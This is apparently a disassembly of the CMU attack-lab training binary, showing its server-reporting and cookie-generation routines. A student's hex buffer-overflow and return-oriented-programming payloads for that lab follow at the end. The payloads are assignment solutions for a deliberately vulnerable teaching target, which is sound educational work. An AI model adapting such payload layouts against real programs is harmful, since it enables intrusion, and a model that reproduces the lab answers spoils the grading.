4024af: 48 89 ce mov %rcx,%rsi

4024b2: 4c 89 ff mov %r15,%rdi

4024b5: 48 89 d1 mov %rdx,%rcx

4024b8: f2 ae repnz scas %es:(%rdi),%al

4024ba: 48 f7 d1 not %rcx

4024bd: 49 89 c8 mov %rcx,%r8

4024c0: 4c 89 f7 mov %r14,%rdi

4024c3: 48 89 d1 mov %rdx,%rcx

4024c6: f2 ae repnz scas %es:(%rdi),%al

4024c8: 49 29 c8 sub %rcx,%r8

4024cb: 48 8b 7c 24 08 mov 0x8(%rsp),%rdi

4024d0: 48 89 d1 mov %rdx,%rcx

4024d3: f2 ae repnz scas %es:(%rdi),%al

4024d5: 49 29 c8 sub %rcx,%r8

4024d8: 48 8d 44 76 fd lea -0x3(%rsi,%rsi,2),%rax

4024dd: 49 8d 44 00 7b lea 0x7b(%r8,%rax,1),%rax

4024e2: 48 3d 00 20 00 00 cmp $0x2000,%rax

4024e8: 76 72 jbe 40255c <submitr+0x295>

4024ea: 48 b8 45 72 72 6f 72 movabs $0x52203a726f727245,%rax

4024f1: 3a 20 52

4024f4: 48 89 03 mov %rax,(%rbx)

4024f7: 48 b8 65 73 75 6c 74 movabs $0x747320746c757365,%rax

4024fe: 20 73 74

402501: 48 89 43 08 mov %rax,0x8(%rbx)

402505: 48 b8 72 69 6e 67 20 movabs $0x6f6f7420676e6972,%rax

40250c: 74 6f 6f

40250f: 48 89 43 10 mov %rax,0x10(%rbx)

402513: 48 b8 20 6c 61 72 67 movabs $0x202e656772616c20,%rax

40251a: 65 2e 20

40251d: 48 89 43 18 mov %rax,0x18(%rbx)

402521: 48 b8 49 6e 63 72 65 movabs $0x6573616572636e49,%rax

402528: 61 73 65

40252b: 48 89 43 20 mov %rax,0x20(%rbx)

40252f: 48 b8 20 53 55 42 4d movabs $0x5254494d42555320,%rax

402536: 49 54 52

402539: 48 89 43 28 mov %rax,0x28(%rbx)

40253d: 48 b8 5f 4d 41 58 42 movabs $0x46554258414d5f,%rax

402544: 55 46 00

402547: 48 89 43 30 mov %rax,0x30(%rbx)

40254b: 89 ef mov %ebp,%edi

40254d: e8 5e e7 ff ff callq 400cb0 <close@plt>

402552: b8 ff ff ff ff mov $0xffffffff,%eax

402557: e9 74 04 00 00 jmpq 4029d0 <submitr+0x709>

40255c: 48 8d b4 24 20 40 00 lea 0x4020(%rsp),%rsi

402563: 00

402564: b9 00 04 00 00 mov $0x400,%ecx

402569: b8 00 00 00 00 mov $0x0,%eax

40256e: 48 89 f7 mov %rsi,%rdi

402571: f3 48 ab rep stos %rax,%es:(%rdi)

402574: 4c 89 ef mov %r13,%rdi

402577: e8 0f fb ff ff callq 40208b <urlencode>

40257c: 85 c0 test %eax,%eax

40257e: 0f 89 8a 00 00 00 jns 40260e <submitr+0x347>

402584: 48 b8 45 72 72 6f 72 movabs $0x52203a726f727245,%rax

40258b: 3a 20 52

40258e: 48 89 03 mov %rax,(%rbx)

402591: 48 b8 65 73 75 6c 74 movabs $0x747320746c757365,%rax

402598: 20 73 74

40259b: 48 89 43 08 mov %rax,0x8(%rbx)

40259f: 48 b8 72 69 6e 67 20 movabs $0x6e6f6320676e6972,%rax

4025a6: 63 6f 6e

4025a9: 48 89 43 10 mov %rax,0x10(%rbx)

4025ad: 48 b8 74 61 69 6e 73 movabs $0x6e6120736e696174,%rax

4025b4: 20 61 6e

4025b7: 48 89 43 18 mov %rax,0x18(%rbx)

4025bb: 48 b8 20 69 6c 6c 65 movabs $0x6c6167656c6c6920,%rax

4025c2: 67 61 6c

4025c5: 48 89 43 20 mov %rax,0x20(%rbx)

4025c9: 48 b8 20 6f 72 20 75 movabs $0x72706e7520726f20,%rax

4025d0: 6e 70 72

4025d3: 48 89 43 28 mov %rax,0x28(%rbx)

4025d7: 48 b8 69 6e 74 61 62 movabs $0x20656c6261746e69,%rax

4025de: 6c 65 20

4025e1: 48 89 43 30 mov %rax,0x30(%rbx)

4025e5: 48 b8 63 68 61 72 61 movabs $0x6574636172616863,%rax

4025ec: 63 74 65

4025ef: 48 89 43 38 mov %rax,0x38(%rbx)

4025f3: 66 c7 43 40 72 2e movw $0x2e72,0x40(%rbx)

4025f9: c6 43 42 00 movb $0x0,0x42(%rbx)

4025fd: 89 ef mov %ebp,%edi

4025ff: e8 ac e6 ff ff callq 400cb0 <close@plt>

402604: b8 ff ff ff ff mov $0xffffffff,%eax

402609: e9 c2 03 00 00 jmpq 4029d0 <submitr+0x709>

40260e: 4d 89 e1 mov %r12,%r9

402611: 4c 8d 84 24 20 40 00 lea 0x4020(%rsp),%r8

402618: 00

402619: 4c 89 f9 mov %r15,%rcx

40261c: 4c 89 f2 mov %r14,%rdx

40261f: be a8 34 40 00 mov $0x4034a8,%esi

402624: 48 8d bc 24 20 60 00 lea 0x6020(%rsp),%rdi

40262b: 00

40262c: b8 00 00 00 00 mov $0x0,%eax

402631: e8 aa e7 ff ff callq 400de0 <sprintf@plt>

402636: 48 8d bc 24 20 60 00 lea 0x6020(%rsp),%rdi

40263d: 00

40263e: b8 00 00 00 00 mov $0x0,%eax

402643: 48 c7 c1 ff ff ff ff mov $0xffffffffffffffff,%rcx

40264a: f2 ae repnz scas %es:(%rdi),%al

40264c: 48 f7 d1 not %rcx

40264f: 48 8d 51 ff lea -0x1(%rcx),%rdx

402653: 48 8d b4 24 20 60 00 lea 0x6020(%rsp),%rsi

40265a: 00

40265b: 89 ef mov %ebp,%edi

40265d: e8 ff fa ff ff callq 402161 <rio\_writen>

402662: 48 85 c0 test %rax,%rax

402665: 79 6e jns 4026d5 <submitr+0x40e>

402667: 48 b8 45 72 72 6f 72 movabs $0x43203a726f727245,%rax

40266e: 3a 20 43

402671: 48 89 03 mov %rax,(%rbx)

402674: 48 b8 6c 69 65 6e 74 movabs $0x6e7520746e65696c,%rax

40267b: 20 75 6e

40267e: 48 89 43 08 mov %rax,0x8(%rbx)

402682: 48 b8 61 62 6c 65 20 movabs $0x206f7420656c6261,%rax

402689: 74 6f 20

40268c: 48 89 43 10 mov %rax,0x10(%rbx)

402690: 48 b8 77 72 69 74 65 movabs $0x6f74206574697277,%rax

402697: 20 74 6f

40269a: 48 89 43 18 mov %rax,0x18(%rbx)

40269e: 48 b8 20 74 68 65 20 movabs $0x7365722065687420,%rax

4026a5: 72 65 73

4026a8: 48 89 43 20 mov %rax,0x20(%rbx)

4026ac: 48 b8 75 6c 74 20 73 movabs $0x7672657320746c75,%rax

4026b3: 65 72 76

4026b6: 48 89 43 28 mov %rax,0x28(%rbx)

4026ba: 66 c7 43 30 65 72 movw $0x7265,0x30(%rbx)

4026c0: c6 43 32 00 movb $0x0,0x32(%rbx)

4026c4: 89 ef mov %ebp,%edi

4026c6: e8 e5 e5 ff ff callq 400cb0 <close@plt>

4026cb: b8 ff ff ff ff mov $0xffffffff,%eax

4026d0: e9 fb 02 00 00 jmpq 4029d0 <submitr+0x709>

4026d5: 89 ee mov %ebp,%esi

4026d7: 48 8d bc 24 20 80 00 lea 0x8020(%rsp),%rdi

4026de: 00

4026df: e8 6c f9 ff ff callq 402050 <rio\_readinitb>

4026e4: ba 00 20 00 00 mov $0x2000,%edx

4026e9: 48 8d b4 24 20 60 00 lea 0x6020(%rsp),%rsi

4026f0: 00

4026f1: 48 8d bc 24 20 80 00 lea 0x8020(%rsp),%rdi

4026f8: 00

4026f9: e8 46 fb ff ff callq 402244 <rio\_readlineb>

4026fe: 48 85 c0 test %rax,%rax

402701: 7f 7d jg 402780 <submitr+0x4b9>

402703: 48 b8 45 72 72 6f 72 movabs $0x43203a726f727245,%rax

40270a: 3a 20 43

40270d: 48 89 03 mov %rax,(%rbx)

402710: 48 b8 6c 69 65 6e 74 movabs $0x6e7520746e65696c,%rax

402717: 20 75 6e

40271a: 48 89 43 08 mov %rax,0x8(%rbx)

40271e: 48 b8 61 62 6c 65 20 movabs $0x206f7420656c6261,%rax

402725: 74 6f 20

402728: 48 89 43 10 mov %rax,0x10(%rbx)

40272c: 48 b8 72 65 61 64 20 movabs $0x7269662064616572,%rax

402733: 66 69 72

402736: 48 89 43 18 mov %rax,0x18(%rbx)

40273a: 48 b8 73 74 20 68 65 movabs $0x6564616568207473,%rax

402741: 61 64 65

402744: 48 89 43 20 mov %rax,0x20(%rbx)

402748: 48 b8 72 20 66 72 6f movabs $0x72206d6f72662072,%rax

40274f: 6d 20 72

402752: 48 89 43 28 mov %rax,0x28(%rbx)

402756: 48 b8 65 73 75 6c 74 movabs $0x657320746c757365,%rax

40275d: 20 73 65

402760: 48 89 43 30 mov %rax,0x30(%rbx)

402764: c7 43 38 72 76 65 72 movl $0x72657672,0x38(%rbx)

40276b: c6 43 3c 00 movb $0x0,0x3c(%rbx)

40276f: 89 ef mov %ebp,%edi

402771: e8 3a e5 ff ff callq 400cb0 <close@plt>

402776: b8 ff ff ff ff mov $0xffffffff,%eax

40277b: e9 50 02 00 00 jmpq 4029d0 <submitr+0x709>

402780: 4c 8d 44 24 10 lea 0x10(%rsp),%r8

402785: 48 8d 8c 24 1c 20 00 lea 0x201c(%rsp),%rcx

40278c: 00

40278d: 48 8d 94 24 20 20 00 lea 0x2020(%rsp),%rdx

402794: 00

402795: be 1f 35 40 00 mov $0x40351f,%esi

40279a: 48 8d bc 24 20 60 00 lea 0x6020(%rsp),%rdi

4027a1: 00

4027a2: b8 00 00 00 00 mov $0x0,%eax

4027a7: e8 c4 e5 ff ff callq 400d70 <\_\_isoc99\_sscanf@plt>

4027ac: e9 98 00 00 00 jmpq 402849 <submitr+0x582>

4027b1: ba 00 20 00 00 mov $0x2000,%edx

4027b6: 48 8d b4 24 20 60 00 lea 0x6020(%rsp),%rsi

4027bd: 00

4027be: 48 8d bc 24 20 80 00 lea 0x8020(%rsp),%rdi

4027c5: 00

4027c6: e8 79 fa ff ff callq 402244 <rio\_readlineb>

4027cb: 48 85 c0 test %rax,%rax

4027ce: 7f 79 jg 402849 <submitr+0x582>

4027d0: 48 b8 45 72 72 6f 72 movabs $0x43203a726f727245,%rax

4027d7: 3a 20 43

4027da: 48 89 03 mov %rax,(%rbx)

4027dd: 48 b8 6c 69 65 6e 74 movabs $0x6e7520746e65696c,%rax

4027e4: 20 75 6e

4027e7: 48 89 43 08 mov %rax,0x8(%rbx)

4027eb: 48 b8 61 62 6c 65 20 movabs $0x206f7420656c6261,%rax

4027f2: 74 6f 20

4027f5: 48 89 43 10 mov %rax,0x10(%rbx)

4027f9: 48 b8 72 65 61 64 20 movabs $0x6165682064616572,%rax

402800: 68 65 61

402803: 48 89 43 18 mov %rax,0x18(%rbx)

402807: 48 b8 64 65 72 73 20 movabs $0x6f72662073726564,%rax

40280e: 66 72 6f

402811: 48 89 43 20 mov %rax,0x20(%rbx)

402815: 48 b8 6d 20 74 68 65 movabs $0x657220656874206d,%rax

40281c: 20 72 65

40281f: 48 89 43 28 mov %rax,0x28(%rbx)

402823: 48 b8 73 75 6c 74 20 movabs $0x72657320746c7573,%rax

40282a: 73 65 72

40282d: 48 89 43 30 mov %rax,0x30(%rbx)

402831: c7 43 38 76 65 72 00 movl $0x726576,0x38(%rbx)

402838: 89 ef mov %ebp,%edi

40283a: e8 71 e4 ff ff callq 400cb0 <close@plt>

40283f: b8 ff ff ff ff mov $0xffffffff,%eax

402844: e9 87 01 00 00 jmpq 4029d0 <submitr+0x709>

402849: 0f b6 84 24 20 60 00 movzbl 0x6020(%rsp),%eax

402850: 00

402851: 83 e8 0d sub $0xd,%eax

402854: 75 15 jne 40286b <submitr+0x5a4>

402856: 0f b6 84 24 21 60 00 movzbl 0x6021(%rsp),%eax

40285d: 00

40285e: 83 e8 0a sub $0xa,%eax

402861: 75 08 jne 40286b <submitr+0x5a4>

402863: 0f b6 84 24 22 60 00 movzbl 0x6022(%rsp),%eax

40286a: 00

40286b: 85 c0 test %eax,%eax

40286d: 0f 85 3e ff ff ff jne 4027b1 <submitr+0x4ea>

402873: ba 00 20 00 00 mov $0x2000,%edx

402878: 48 8d b4 24 20 60 00 lea 0x6020(%rsp),%rsi

40287f: 00

402880: 48 8d bc 24 20 80 00 lea 0x8020(%rsp),%rdi

402887: 00

402888: e8 b7 f9 ff ff callq 402244 <rio\_readlineb>

40288d: 48 85 c0 test %rax,%rax

402890: 0f 8f 83 00 00 00 jg 402919 <submitr+0x652>

402896: 48 b8 45 72 72 6f 72 movabs $0x43203a726f727245,%rax

40289d: 3a 20 43

4028a0: 48 89 03 mov %rax,(%rbx)

4028a3: 48 b8 6c 69 65 6e 74 movabs $0x6e7520746e65696c,%rax

4028aa: 20 75 6e

4028ad: 48 89 43 08 mov %rax,0x8(%rbx)

4028b1: 48 b8 61 62 6c 65 20 movabs $0x206f7420656c6261,%rax

4028b8: 74 6f 20

4028bb: 48 89 43 10 mov %rax,0x10(%rbx)

4028bf: 48 b8 72 65 61 64 20 movabs $0x6174732064616572,%rax

4028c6: 73 74 61

4028c9: 48 89 43 18 mov %rax,0x18(%rbx)

4028cd: 48 b8 74 75 73 20 6d movabs $0x7373656d20737574,%rax

4028d4: 65 73 73

4028d7: 48 89 43 20 mov %rax,0x20(%rbx)

4028db: 48 b8 61 67 65 20 66 movabs $0x6d6f726620656761,%rax

4028e2: 72 6f 6d

4028e5: 48 89 43 28 mov %rax,0x28(%rbx)

4028e9: 48 b8 20 72 65 73 75 movabs $0x20746c7573657220,%rax

4028f0: 6c 74 20

4028f3: 48 89 43 30 mov %rax,0x30(%rbx)

4028f7: c7 43 38 73 65 72 76 movl $0x76726573,0x38(%rbx)

4028fe: 66 c7 43 3c 65 72 movw $0x7265,0x3c(%rbx)

402904: c6 43 3e 00 movb $0x0,0x3e(%rbx)

402908: 89 ef mov %ebp,%edi

40290a: e8 a1 e3 ff ff callq 400cb0 <close@plt>

40290f: b8 ff ff ff ff mov $0xffffffff,%eax

402914: e9 b7 00 00 00 jmpq 4029d0 <submitr+0x709>

402919: 8b 94 24 1c 20 00 00 mov 0x201c(%rsp),%edx

402920: 81 fa c8 00 00 00 cmp $0xc8,%edx

402926: 74 28 je 402950 <submitr+0x689>

402928: 48 8d 4c 24 10 lea 0x10(%rsp),%rcx

40292d: be e8 34 40 00 mov $0x4034e8,%esi

402932: 48 89 df mov %rbx,%rdi

402935: b8 00 00 00 00 mov $0x0,%eax

40293a: e8 a1 e4 ff ff callq 400de0 <sprintf@plt>

40293f: 89 ef mov %ebp,%edi

402941: e8 6a e3 ff ff callq 400cb0 <close@plt>

402946: b8 ff ff ff ff mov $0xffffffff,%eax

40294b: e9 80 00 00 00 jmpq 4029d0 <submitr+0x709>

402950: 48 8d b4 24 20 60 00 lea 0x6020(%rsp),%rsi

402957: 00

402958: 48 89 df mov %rbx,%rdi

40295b: e8 e0 e2 ff ff callq 400c40 <strcpy@plt>

402960: 89 ef mov %ebp,%edi

402962: e8 49 e3 ff ff callq 400cb0 <close@plt>

402967: 0f b6 03 movzbl (%rbx),%eax

40296a: 83 e8 4f sub $0x4f,%eax

40296d: 75 18 jne 402987 <submitr+0x6c0>

40296f: 0f b6 53 01 movzbl 0x1(%rbx),%edx

402973: 83 ea 4b sub $0x4b,%edx

402976: 75 11 jne 402989 <submitr+0x6c2>

402978: 0f b6 53 02 movzbl 0x2(%rbx),%edx

40297c: 83 ea 0a sub $0xa,%edx

40297f: 75 08 jne 402989 <submitr+0x6c2>

402981: 0f b6 53 03 movzbl 0x3(%rbx),%edx

402985: eb 02 jmp 402989 <submitr+0x6c2>

402987: 89 c2 mov %eax,%edx

402989: 85 d2 test %edx,%edx

40298b: 74 30 je 4029bd <submitr+0x6f6>

40298d: bf 30 35 40 00 mov $0x403530,%edi

402992: b9 05 00 00 00 mov $0x5,%ecx

402997: 48 89 de mov %rbx,%rsi

40299a: f3 a6 repz cmpsb %es:(%rdi),%ds:(%rsi)

40299c: 0f 97 c1 seta %cl

40299f: 0f 92 c2 setb %dl

4029a2: 38 d1 cmp %dl,%cl

4029a4: 74 1e je 4029c4 <submitr+0x6fd>

4029a6: 85 c0 test %eax,%eax

4029a8: 75 0d jne 4029b7 <submitr+0x6f0>

4029aa: 0f b6 43 01 movzbl 0x1(%rbx),%eax

4029ae: 83 e8 4b sub $0x4b,%eax

4029b1: 75 04 jne 4029b7 <submitr+0x6f0>

4029b3: 0f b6 43 02 movzbl 0x2(%rbx),%eax

4029b7: 85 c0 test %eax,%eax

4029b9: 75 10 jne 4029cb <submitr+0x704>

4029bb: eb 13 jmp 4029d0 <submitr+0x709>

4029bd: b8 00 00 00 00 mov $0x0,%eax

4029c2: eb 0c jmp 4029d0 <submitr+0x709>

4029c4: b8 00 00 00 00 mov $0x0,%eax

4029c9: eb 05 jmp 4029d0 <submitr+0x709>

4029cb: b8 ff ff ff ff mov $0xffffffff,%eax

4029d0: 48 81 c4 48 a0 00 00 add $0xa048,%rsp

4029d7: 5b pop %rbx

4029d8: 5d pop %rbp

4029d9: 41 5c pop %r12

4029db: 41 5d pop %r13

4029dd: 41 5e pop %r14

4029df: 41 5f pop %r15

4029e1: c3 retq

00000000004029e2 <init\_timeout>:

4029e2: 53 push %rbx

4029e3: 89 fb mov %edi,%ebx

4029e5: 85 ff test %edi,%edi

4029e7: 74 1f je 402a08 <init\_timeout+0x26>

4029e9: 85 ff test %edi,%edi

4029eb: 79 05 jns 4029f2 <init\_timeout+0x10>

4029ed: bb 00 00 00 00 mov $0x0,%ebx

4029f2: be 62 20 40 00 mov $0x402062,%esi

4029f7: bf 0e 00 00 00 mov $0xe,%edi

4029fc: e8 df e2 ff ff callq 400ce0 <signal@plt>

402a01: 89 df mov %ebx,%edi

402a03: e8 98 e2 ff ff callq 400ca0 <alarm@plt>

402a08: 5b pop %rbx

402a09: c3 retq

0000000000402a0a <init\_driver>:

402a0a: 55 push %rbp

402a0b: 53 push %rbx

402a0c: 48 83 ec 18 sub $0x18,%rsp

402a10: 48 89 fd mov %rdi,%rbp

402a13: be 01 00 00 00 mov $0x1,%esi

402a18: bf 0d 00 00 00 mov $0xd,%edi

402a1d: e8 be e2 ff ff callq 400ce0 <signal@plt>

402a22: be 01 00 00 00 mov $0x1,%esi

402a27: bf 1d 00 00 00 mov $0x1d,%edi

402a2c: e8 af e2 ff ff callq 400ce0 <signal@plt>

402a31: be 01 00 00 00 mov $0x1,%esi

402a36: bf 1d 00 00 00 mov $0x1d,%edi

402a3b: e8 a0 e2 ff ff callq 400ce0 <signal@plt>

402a40: ba 00 00 00 00 mov $0x0,%edx

402a45: be 01 00 00 00 mov $0x1,%esi

402a4a: bf 02 00 00 00 mov $0x2,%edi

402a4f: e8 bc e3 ff ff callq 400e10 <socket@plt>

402a54: 89 c3 mov %eax,%ebx

402a56: 85 c0 test %eax,%eax

402a58: 79 4f jns 402aa9 <init\_driver+0x9f>

402a5a: 48 b8 45 72 72 6f 72 movabs $0x43203a726f727245,%rax

402a61: 3a 20 43

402a64: 48 89 45 00 mov %rax,0x0(%rbp)

402a68: 48 b8 6c 69 65 6e 74 movabs $0x6e7520746e65696c,%rax

402a6f: 20 75 6e

402a72: 48 89 45 08 mov %rax,0x8(%rbp)

402a76: 48 b8 61 62 6c 65 20 movabs $0x206f7420656c6261,%rax

402a7d: 74 6f 20

402a80: 48 89 45 10 mov %rax,0x10(%rbp)

402a84: 48 b8 63 72 65 61 74 movabs $0x7320657461657263,%rax

402a8b: 65 20 73

402a8e: 48 89 45 18 mov %rax,0x18(%rbp)

402a92: c7 45 20 6f 63 6b 65 movl $0x656b636f,0x20(%rbp)

402a99: 66 c7 45 24 74 00 movw $0x74,0x24(%rbp)

402a9f: b8 ff ff ff ff mov $0xffffffff,%eax

402aa4: e9 23 01 00 00 jmpq 402bcc <init\_driver+0x1c2>

402aa9: bf 3d 30 40 00 mov $0x40303d,%edi

402aae: e8 3d e2 ff ff callq 400cf0 <gethostbyname@plt>

402ab3: 48 85 c0 test %rax,%rax

402ab6: 75 68 jne 402b20 <init\_driver+0x116>

402ab8: 48 b8 45 72 72 6f 72 movabs $0x44203a726f727245,%rax

402abf: 3a 20 44

402ac2: 48 89 45 00 mov %rax,0x0(%rbp)

402ac6: 48 b8 4e 53 20 69 73 movabs $0x6e7520736920534e,%rax

402acd: 20 75 6e

402ad0: 48 89 45 08 mov %rax,0x8(%rbp)

402ad4: 48 b8 61 62 6c 65 20 movabs $0x206f7420656c6261,%rax

402adb: 74 6f 20

402ade: 48 89 45 10 mov %rax,0x10(%rbp)

402ae2: 48 b8 72 65 73 6f 6c movabs $0x2065766c6f736572,%rax

402ae9: 76 65 20

402aec: 48 89 45 18 mov %rax,0x18(%rbp)

402af0: 48 b8 73 65 72 76 65 movabs $0x6120726576726573,%rax

402af7: 72 20 61

402afa: 48 89 45 20 mov %rax,0x20(%rbp)

402afe: c7 45 28 64 64 72 65 movl $0x65726464,0x28(%rbp)

402b05: 66 c7 45 2c 73 73 movw $0x7373,0x2c(%rbp)

402b0b: c6 45 2e 00 movb $0x0,0x2e(%rbp)

402b0f: 89 df mov %ebx,%edi

402b11: e8 9a e1 ff ff callq 400cb0 <close@plt>

402b16: b8 ff ff ff ff mov $0xffffffff,%eax

402b1b: e9 ac 00 00 00 jmpq 402bcc <init\_driver+0x1c2>

402b20: 48 c7 04 24 00 00 00 movq $0x0,(%rsp)

402b27: 00

402b28: 48 c7 44 24 08 00 00 movq $0x0,0x8(%rsp)

402b2f: 00 00

402b31: 66 c7 04 24 02 00 movw $0x2,(%rsp)

402b37: 48 8b 48 18 mov 0x18(%rax),%rcx

402b3b: 48 63 50 14 movslq 0x14(%rax),%rdx

402b3f: 48 8d 74 24 04 lea 0x4(%rsp),%rsi

402b44: 48 8b 39 mov (%rcx),%rdi

402b47: e8 44 e2 ff ff callq 400d90 <bcopy@plt>

402b4c: 66 c7 44 24 02 47 26 movw $0x2647,0x2(%rsp)

402b53: ba 10 00 00 00 mov $0x10,%edx

402b58: 48 89 e6 mov %rsp,%rsi

402b5b: 89 df mov %ebx,%edi

402b5d: e8 9e e2 ff ff callq 400e00 <connect@plt>

402b62: 85 c0 test %eax,%eax

402b64: 79 50 jns 402bb6 <init\_driver+0x1ac>

402b66: 48 b8 45 72 72 6f 72 movabs $0x55203a726f727245,%rax

402b6d: 3a 20 55

402b70: 48 89 45 00 mov %rax,0x0(%rbp)

402b74: 48 b8 6e 61 62 6c 65 movabs $0x6f7420656c62616e,%rax

402b7b: 20 74 6f

402b7e: 48 89 45 08 mov %rax,0x8(%rbp)

402b82: 48 b8 20 63 6f 6e 6e movabs $0x7463656e6e6f6320,%rax

402b89: 65 63 74

402b8c: 48 89 45 10 mov %rax,0x10(%rbp)

402b90: 48 b8 20 74 6f 20 73 movabs $0x76726573206f7420,%rax

402b97: 65 72 76

402b9a: 48 89 45 18 mov %rax,0x18(%rbp)

402b9e: 66 c7 45 20 65 72 movw $0x7265,0x20(%rbp)

402ba4: c6 45 22 00 movb $0x0,0x22(%rbp)

402ba8: 89 df mov %ebx,%edi

402baa: e8 01 e1 ff ff callq 400cb0 <close@plt>

402baf: b8 ff ff ff ff mov $0xffffffff,%eax

402bb4: eb 16 jmp 402bcc <init\_driver+0x1c2>

402bb6: 89 df mov %ebx,%edi

402bb8: e8 f3 e0 ff ff callq 400cb0 <close@plt>

402bbd: 66 c7 45 00 4f 4b movw $0x4b4f,0x0(%rbp)

402bc3: c6 45 02 00 movb $0x0,0x2(%rbp)

402bc7: b8 00 00 00 00 mov $0x0,%eax

402bcc: 48 83 c4 18 add $0x18,%rsp

402bd0: 5b pop %rbx

402bd1: 5d pop %rbp

402bd2: c3 retq

0000000000402bd3 <driver\_post>:

402bd3: 53 push %rbx

402bd4: 48 83 ec 10 sub $0x10,%rsp

402bd8: 4c 89 cb mov %r9,%rbx

402bdb: 45 85 c0 test %r8d,%r8d

402bde: 74 22 je 402c02 <driver\_post+0x2f>

402be0: 48 89 ce mov %rcx,%rsi

402be3: bf 35 35 40 00 mov $0x403535,%edi

402be8: b8 00 00 00 00 mov $0x0,%eax

402bed: e8 8e e0 ff ff callq 400c80 <printf@plt>

402bf2: 66 c7 03 4f 4b movw $0x4b4f,(%rbx)

402bf7: c6 43 02 00 movb $0x0,0x2(%rbx)

402bfb: b8 00 00 00 00 mov $0x0,%eax

402c00: eb 39 jmp 402c3b <driver\_post+0x68>

402c02: 48 85 ff test %rdi,%rdi

402c05: 74 26 je 402c2d <driver\_post+0x5a>

402c07: 80 3f 00 cmpb $0x0,(%rdi)

402c0a: 74 21 je 402c2d <driver\_post+0x5a>

402c0c: 4c 89 0c 24 mov %r9,(%rsp)

402c10: 49 89 c9 mov %rcx,%r9

402c13: 49 89 d0 mov %rdx,%r8

402c16: 48 89 f9 mov %rdi,%rcx

402c19: 48 89 f2 mov %rsi,%rdx

402c1c: be 26 47 00 00 mov $0x4726,%esi

402c21: bf 3d 30 40 00 mov $0x40303d,%edi

402c26: e8 9c f6 ff ff callq 4022c7 <submitr>

402c2b: eb 0e jmp 402c3b <driver\_post+0x68>

402c2d: 66 c7 03 4f 4b movw $0x4b4f,(%rbx)

402c32: c6 43 02 00 movb $0x0,0x2(%rbx)

402c36: b8 00 00 00 00 mov $0x0,%eax

402c3b: 48 83 c4 10 add $0x10,%rsp

402c3f: 5b pop %rbx

402c40: c3 retq

0000000000402c41 <check>:

402c41: 89 f8 mov %edi,%eax

402c43: c1 e8 1c shr $0x1c,%eax

402c46: 85 c0 test %eax,%eax

402c48: 74 1d je 402c67 <check+0x26>

402c4a: b9 00 00 00 00 mov $0x0,%ecx

402c4f: eb 0b jmp 402c5c <check+0x1b>

402c51: 89 f8 mov %edi,%eax

402c53: d3 e8 shr %cl,%eax

402c55: 3c 0a cmp $0xa,%al

402c57: 74 14 je 402c6d <check+0x2c>

402c59: 83 c1 08 add $0x8,%ecx

402c5c: 83 f9 1f cmp $0x1f,%ecx

402c5f: 7e f0 jle 402c51 <check+0x10>

402c61: b8 01 00 00 00 mov $0x1,%eax

402c66: c3 retq

402c67: b8 00 00 00 00 mov $0x0,%eax

402c6c: c3 retq

402c6d: b8 00 00 00 00 mov $0x0,%eax

402c72: c3 retq

0000000000402c73 <gencookie>:

402c73: 53 push %rbx

402c74: 83 c7 01 add $0x1,%edi

402c77: e8 a4 df ff ff callq 400c20 <srandom@plt>

402c7c: e8 cf e0 ff ff callq 400d50 <random@plt>

402c81: 89 c3 mov %eax,%ebx

402c83: 89 c7 mov %eax,%edi

402c85: e8 b7 ff ff ff callq 402c41 <check>

402c8a: 85 c0 test %eax,%eax

402c8c: 74 ee je 402c7c <gencookie+0x9>

402c8e: 89 d8 mov %ebx,%eax

402c90: 5b pop %rbx

402c91: c3 retq

402c92: 66 2e 0f 1f 84 00 00 nopw %cs:0x0(%rax,%rax,1)

402c99: 00 00 00

402c9c: 0f 1f 40 00 nopl 0x0(%rax)

0000000000402ca0 <\_\_libc\_csu\_init>:

402ca0: 41 57 push %r15

402ca2: 41 89 ff mov %edi,%r15d

402ca5: 41 56 push %r14

402ca7: 49 89 f6 mov %rsi,%r14

402caa: 41 55 push %r13

402cac: 49 89 d5 mov %rdx,%r13

402caf: 41 54 push %r12

402cb1: 4c 8d 25 58 21 20 00 lea 0x202158(%rip),%r12 # 604e10 <\_\_frame\_dummy\_init\_array\_entry>

402cb8: 55 push %rbp

402cb9: 48 8d 2d 58 21 20 00 lea 0x202158(%rip),%rbp # 604e18 <\_\_init\_array\_end>

402cc0: 53 push %rbx

402cc1: 4c 29 e5 sub %r12,%rbp

402cc4: 31 db xor %ebx,%ebx

402cc6: 48 c1 fd 03 sar $0x3,%rbp

402cca: 48 83 ec 08 sub $0x8,%rsp

402cce: e8 f5 de ff ff callq 400bc8 <\_init>

402cd3: 48 85 ed test %rbp,%rbp

402cd6: 74 1e je 402cf6 <\_\_libc\_csu\_init+0x56>

402cd8: 0f 1f 84 00 00 00 00 nopl 0x0(%rax,%rax,1)

402cdf: 00

402ce0: 4c 89 ea mov %r13,%rdx

402ce3: 4c 89 f6 mov %r14,%rsi

402ce6: 44 89 ff mov %r15d,%edi

402ce9: 41 ff 14 dc callq \*(%r12,%rbx,8)

402ced: 48 83 c3 01 add $0x1,%rbx

402cf1: 48 39 eb cmp %rbp,%rbx

402cf4: 75 ea jne 402ce0 <\_\_libc\_csu\_init+0x40>

402cf6: 48 83 c4 08 add $0x8,%rsp

402cfa: 5b pop %rbx

402cfb: 5d pop %rbp

402cfc: 41 5c pop %r12

402cfe: 41 5d pop %r13

402d00: 41 5e pop %r14

402d02: 41 5f pop %r15

402d04: c3 retq

402d05: 90 nop

402d06: 66 2e 0f 1f 84 00 00 nopw %cs:0x0(%rax,%rax,1)

402d0d: 00 00 00

0000000000402d10 <\_\_libc\_csu\_fini>:

402d10: f3 c3 repz retq

Disassembly of section .fini:

0000000000402d14 <\_fini>:

402d14: 48 83 ec 08 sub $0x8,%rsp

402d18: 48 83 c4 08 add $0x8,%rsp

402d1c: c3 retq

|  |
| --- |
| 00 00 00 00 00 00 00 00 |
|  | 00 00 00 00 00 00 00 00 |
|  | 00 00 00 00 00 00 00 00 //padding |
|  | fb 19 40 00 00 00 00 00 //gadget 1 |
|  | 14 7d b1 60 00 00 00 00 //cookie, value to pop |
|  | 09 1a 40 00 00 00 00 00 //gadget 2 |
|  | 90 18 40 00 00 00 00 00 //touch2 address |

7ffffffc5810//address of stack pointer?

00 00 00 00 00 00 00 00

00 00 00 00 00 00 00 00

00 00 00 00 00 00 00 00

00 00 00 00 00 00 00 00

00 00 00 00 00 00 00 00

00 00 00 00 00 00 00 00

00 00 00 00 00 00 00 00

d2 17 40 00 00 00 00

00 00 00 00 00 00 00 00

00 00 00 00 00 00 00 00

00 00 00 00 00 00 00 00

00 00 00 00 00 00 00 00

00 00 00 00 00 00 00 00

00 00 00 00 00 00 00 00

